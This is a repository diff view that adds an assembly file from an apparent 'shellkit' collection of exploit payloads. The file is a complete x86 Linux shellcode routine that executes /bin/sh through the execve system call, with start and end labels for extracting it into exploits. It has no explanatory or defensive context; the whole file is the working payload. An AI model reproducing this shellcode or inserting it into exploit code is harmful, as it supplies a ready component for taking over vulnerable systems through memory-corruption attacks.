diff options
Diffstat (limited to 'other/shellkit/x86_linux/execve.s')
| -rw-r--r-- | other/shellkit/x86_linux/execve.s | 22 |
1 files changed, 22 insertions, 0 deletions
diff --git a/other/shellkit/x86_linux/execve.s b/other/shellkit/x86_linux/execve.s new file mode 100644 index 0000000..2fdb69f --- /dev/null +++ b/other/shellkit/x86_linux/execve.s | |||
| @@ -0,0 +1,22 @@ | |||
| 1 | /* x86/linux execve /bin/sh shellcode | ||
| 2 | * | ||
| 3 | * lorian / teso | ||
| 4 | */ | ||
| 5 | |||
| 6 | .globl cbegin | ||
| 7 | .globl cend | ||
| 8 | |||
| 9 | cbegin: | ||
| 10 | pushl $0x0b | ||
| 11 | popl %eax | ||
| 12 | cdq | ||
| 13 | pushl %edx | ||
| 14 | push $0x68732F6E | ||
| 15 | push $0x69622F2F | ||
| 16 | movl %esp, %ebx | ||
| 17 | pushl %edx | ||
| 18 | pushl %ebx | ||
| 19 | movl %esp, %ecx | ||
| 20 | int $0x80 | ||
| 21 | |||
| 22 | cend: | ||
